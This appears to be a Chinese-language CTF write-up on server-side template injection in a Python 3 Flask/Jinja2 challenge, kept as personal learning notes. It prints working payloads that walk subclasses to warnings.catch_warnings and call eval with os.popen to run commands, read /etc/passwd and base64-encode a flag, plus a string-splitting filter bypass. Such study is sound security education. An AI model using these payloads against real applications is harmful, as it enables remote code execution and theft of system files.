注入点好找的很,不多说。
开头的不了,都会,
问题是找到我们要利用的模块在哪里
这个才是重点。。绕过的还是先不急,
一步一步打好基础,碰到绕过的题的时候再说
一、学会的新东西:
- py2,py3都适用的查找模块位置的payload,,(这个真的我吐血弄了半上午才弄出来的。你要是采纳了的话,记得点个赞哦!!!里面还有班长的智慧结晶呢)
- 知道了py3的ssti主要是用 这个 warnings.catch_warnings 模块
- 然后再是用 builtins 这个东西
二、开始WP
这个是李双鹏班长给的,这个点位巨坑,要不是班长给,我指定找不到,后面这个 i|string ,才显示出来,不然不显示
?ssti={%for i in [].__class__.__base__.__subclasses__()%}{{i|string}}{%endfor%}
先判断类型
出了之后,再找一下我们要利用的模块就好(我不知道一应该叫什么,先这么叫着吧)
开头的都是class什么的,说明是python3 写的flask。因为py2写的话,开头的都是type。那就找py3的用法,先找,,,来得及
python3和python2原理都是一样的,只不过环境变化有点大,比如python2下有file而在python3下已经没有了,所以是直接用open。查阅了相关资料发现对于python3的利用主要索引在于 builtins 。那么这个 builtins哪里找呢, 一般就是warnings.catch_warnings 了,也可能有其他的嘛。后来再说吧
三、warnings.catch_warnings模块入手
上面的是查博客,他们的,我的就不一样,题目的和我的也不一样。。。
如何找到是问题的关键
找到我们要找的模块
这个 warnings.catch_warnings 可以使用
这个payload可是尝试了好久才尝试出来的哦。。。错了,,不是这个,这个好找得很,,,
?name={{[].__class__.__base__.__subclasses__()[169].__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()")}}
这个就是py2中的那个popen(要执行的命令嘛)一样的操作
这样也行,就是 .__globals__
也可以用['globals']
来代替,这样有什么好处呢?
当 globals 这个字符串被过滤的时候,就可以用后者的这个方法来进行 绕过,就是这一个:['glo'+'bals']
的样式
?name={{[].__class__.__base__.__subclasses__()[169].__init__['__globals__']['__builtins__'].eval("__import__('os').popen('ls').read()")}}
然后看一下根目录:
cat一下就好了啊
不容易啊,查了半天资料,注意:这次是俺没有看WP哦!!!
上面这个的payload参考自这里:
#python3没有file,用的是open
#文件读取
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("dir").read()')}}
#命令执行
这个通用的命令执行不错,可以打,
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
命令执行,这个是上面那个通用payload的base64升级版,可能 题目会对回显字符有敏感限制
然后base64加密之后显示就更好一点
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag | base64').read()") }}{% endif %}{% endfor %}
来自:安全客这里面还有一些bypass,非常好的一个文章
没有bypass的时候的SSTI还是很简单的,等有了过滤之后再说吧。
四、在尝试另外一个模块
一样的吧,哈哈,这就找到了嘛。
试过之后,发现这个不对,
再找别的payload尝试。就是这样慢慢尝试嘛,怎么可能一下子就找到payload的了呢?
这个不找了,,,